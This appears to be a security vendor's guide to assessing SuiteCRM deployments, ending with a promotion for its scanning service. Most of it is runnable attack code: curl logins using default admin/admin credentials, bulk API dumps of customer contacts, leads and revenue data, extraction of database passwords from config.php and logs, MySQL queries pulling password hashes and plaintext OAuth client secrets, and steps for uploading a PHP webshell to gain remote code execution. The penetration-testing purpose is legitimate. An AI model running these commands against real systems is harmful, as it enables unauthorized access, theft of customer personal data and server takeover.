SuiteCRM is the most widely deployed open-source CRM platform, used by businesses as a Salesforce alternative to manage customer accounts, contacts, leads, opportunities, campaigns, cases, and support workflows. Its PHP codebase and broad module ecosystem create multiple attack vectors. Key assessment areas: SuiteCRM defaults to admin/admin in many self-hosted installations; the REST API v8 (JSON:API) provides access to all CRM modules; config.php stores the MySQL database password in plaintext; SuiteCRM's PHP module upload feature can enable authenticated Remote Code Execution; and sugar.log may contain database credentials and API tokens written to disk during debugging. This guide covers systematic SuiteCRM security assessment.
# SuiteCRM — default credentials and OAuth 2.0 API authentication
SUITECRM_URL="https://crm.example.com"
# Test default admin credentials against the web interface
curl -s -c /tmp/suite_sess -b /tmp/suite_sess \
-X POST "${SUITECRM_URL}/index.php" \
--data "action=Authenticate&module=Users&user_name=admin&user_password=$(echo -n 'admin' | md5sum | awk '{print $1}')&return_url=" \
-L 2>/dev/null | grep -i "dashboard\|home\|invalid\|error" | head -3
# SuiteCRM REST API v8 (OAuth 2.0) — obtain access token
# First create OAuth client in admin panel, then:
curl -s -X POST "${SUITECRM_URL}/api/oauth2/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "grant_type=password&client_id=YOUR_CLIENT_ID&client_secret=YOUR_CLIENT_SECRET&username=admin&password=admin" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'access_token' in d:
print(f'ACCESS TOKEN: {d[\"access_token\"]}')
print(f'Token type: {d.get(\"token_type\")}')
print(f'Expires in: {d.get(\"expires_in\")}s')
else:
print(f'Auth failed: {d}')
" 2>/dev/null
# Legacy REST API v4.1 — simpler login, still active in many installs
HASH=$(echo -n "admin" | md5sum | awk '{print $1}')
curl -s "${SUITECRM_URL}/index.php?module=Users&action=Authenticate" \
-X POST --data "method=login&input_type=JSON&response_type=JSON&rest_data={\"user_auth\":{\"user_name\":\"admin\",\"password\":\"${HASH}\"},\"application_name\":\"test\"}" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Session ID: {d.get(\"id\")}')
print(f'Module name: {d.get(\"module_name\")}')
" 2>/dev/null
# SuiteCRM REST API v8 — CRM data enumeration
SUITECRM_URL="https://crm.example.com"
ACCESS_TOKEN="your-oauth2-access-token"
# Get all accounts (company records)
curl -s "${SUITECRM_URL}/api/v8/module/Accounts?page[size]=200" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Accounts: {len(data)}')
for a in data[:10]:
attrs = a.get('attributes',{})
print(f' [{a.get(\"id\")}] {attrs.get(\"name\")} phone={attrs.get(\"phone_office\")} website={attrs.get(\"website\")}')
" 2>/dev/null
# Get all contacts — customer PII
curl -s "${SUITECRM_URL}/api/v8/module/Contacts?page[size]=200" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Contacts: {len(data)}')
for c in data[:10]:
attrs = c.get('attributes',{})
print(f' {attrs.get(\"first_name\")} {attrs.get(\"last_name\")} email={attrs.get(\"email1\")} phone={attrs.get(\"phone_work\")}')
" 2>/dev/null
# Get all leads — sales pipeline data
curl -s "${SUITECRM_URL}/api/v8/module/Leads?page[size]=200" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Leads: {len(data)}')
total_value = 0
for l in data[:10]:
attrs = l.get('attributes',{})
print(f' {attrs.get(\"first_name\")} {attrs.get(\"last_name\")} co={attrs.get(\"account_name\")} email={attrs.get(\"email1\")} status={attrs.get(\"status\")}')
" 2>/dev/null
# Get all opportunities — pipeline and revenue data
curl -s "${SUITECRM_URL}/api/v8/module/Opportunities?page[size]=200" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Opportunities: {len(data)}')
total = sum(float(o.get('attributes',{}).get('amount',0) or 0) for o in data)
print(f'Total pipeline value: {total:,.2f}')
" 2>/dev/null
# SuiteCRM config.php and authenticated RCE via module upload
# config.php — MySQL database credentials in plaintext PHP
grep -E "db_password|db_host|db_name|db_user|site_url|unique_key" \
/var/www/html/suitecrm/config.php 2>/dev/null
# 'db_password' => 'MySQL_Password'
# 'unique_key' — used in HMAC operations, treat as sensitive
# sugar.log — may contain database credentials during debug
grep -E "password|passwd|db_pass|credential" \
/var/www/html/suitecrm/suitecrm.log 2>/dev/null | head -20
# MySQL direct access — user table with salted SHA-256 hashes
mysql -u suitecrm -p"DB_PASSWORD" suitecrm 2>/dev/null << 'EOF'
SELECT id, user_name, email1, is_admin, status, date_entered
FROM users
WHERE deleted = 0
ORDER BY is_admin DESC, date_entered
LIMIT 20;
EOF
# OAuth 2.0 client credentials from database
mysql -u suitecrm -p"DB_PASSWORD" suitecrm 2>/dev/null << 'EOF'
SELECT id, name, client_id, client_secret, is_confidential, allowed_grant_types
FROM oauth2clients
WHERE deleted = 0;
EOF
# client_secret stored in plaintext — enables API token generation for all users
# Module upload RCE path (authenticated admin required):
# 1. Navigate to /index.php?module=ModuleBuilder&action=index&type=module
# 2. Upload a ZIP containing a PHP webshell as a custom module
# 3. Module is extracted to custom/Extension/ or modules/ directory
echo "Module upload RCE path: Admin > Module Loader > Upload ZIP with PHP file"
echo "Post-upload access: ${SUITECRM_URL}/index.php?module=[ModuleName]&action=index"
| Security Test | Method | Risk |
|---|---|---|
| Default admin/admin credential exploitation | POST /index.php with MD5-hashed admin password — full CRM access; all accounts, contacts, leads, opportunities, campaigns, cases, and OAuth 2.0 client credentials | Critical |
| REST API CRM data enumeration | GET /api/v8/module/Accounts, /Contacts, /Leads, /Opportunities with OAuth token — complete customer database, contact PII, sales pipeline with opportunity values | Critical |
| config.php MySQL credential extraction | Read config.php — db_password in PHP array; MySQL access exposes full CRM database including all records and user password hashes | Critical |
| Module Loader authenticated RCE | Upload PHP webshell as ZIP via Admin > Module Loader — PHP execution in SuiteCRM directory as web server user; OS command execution | Critical (admin required) |
| OAuth 2.0 client_secret extraction from database | MySQL SELECT from oauth2clients — client_secret in plaintext; enables API token generation for any configured OAuth 2.0 client without admin credentials | Critical |
Ironimo tests SuiteCRM deployments for default admin credential exploitation, REST API v8 and legacy v4.1 authentication testing, complete CRM account/contact/lead/opportunity data enumeration, config.php MySQL credential extraction, OAuth 2.0 client secret exposure, Module Loader RCE testing, sugar.log credential leak assessment, user password hash extraction from users table, and OAuth client enumeration from oauth2clients table.
Start free scan